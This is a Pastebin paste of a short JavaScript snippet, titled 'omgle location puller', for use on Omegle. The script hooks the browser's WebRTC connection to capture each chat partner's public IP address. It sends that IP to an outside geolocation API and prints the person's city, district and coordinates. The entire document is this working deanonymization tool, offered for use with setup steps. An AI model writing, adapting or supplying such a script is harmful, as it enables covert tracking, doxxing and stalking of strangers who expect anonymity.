Advertisement
WilsonWubest

omgle location puller

Jan 26th, 2022
456
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.34 KB | None | 0 0
  1. // @ me on Discord with any questions!
  2. https://discord.gg/YJkSzHVuUK
  3.  
  4. // --------------------------------------------
  5. // PLEASE REPLACE "your-api-key-here" WITH AN
  6. // API KEY FROM https://ipgeolocation.io/
  7. let apiKey = "your-api-key-here";
  8.  
  9. window.oRTCPeerConnection =
  10. window.oRTCPeerConnection || window.RTCPeerConnection;
  11.  
  12. window.RTCPeerConnection = function (...args) {
  13. const pc = new window.oRTCPeerConnection(...args);
  14.  
  15. pc.oaddIceCandidate = pc.addIceCandidate;
  16.  
  17. pc.addIceCandidate = function (iceCandidate, ...rest) {
  18. const fields = iceCandidate.candidate.split(" ");
  19.  
  20. console.log(iceCandidate.candidate);
  21. const ip = fields[4];
  22. if (fields[7] === "srflx") {
  23. getLocation(ip);
  24. }
  25. return pc.oaddIceCandidate(iceCandidate, ...rest);
  26. };
  27. return pc;
  28. };
  29.  
  30. let getLocation = async (ip) => {
  31. let url = `https://api.ipgeolocation.io/ipgeo?apiKey=${apiKey}&ip=${ip}`;
  32.  
  33. await fetch(url).then((response) =>
  34. response.json().then((json) => {
  35. const output = `
  36. ---------------------
  37. Country: ${json.country_name}
  38. State: ${json.state_prov}
  39. City: ${json.city}
  40. District: ${json.district}
  41. Lat / Long: (${json.latitude}, ${json.longitude})
  42. ---------------------
  43. `;
  44. console.log(output);
  45. })
  46. );
  47. };
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement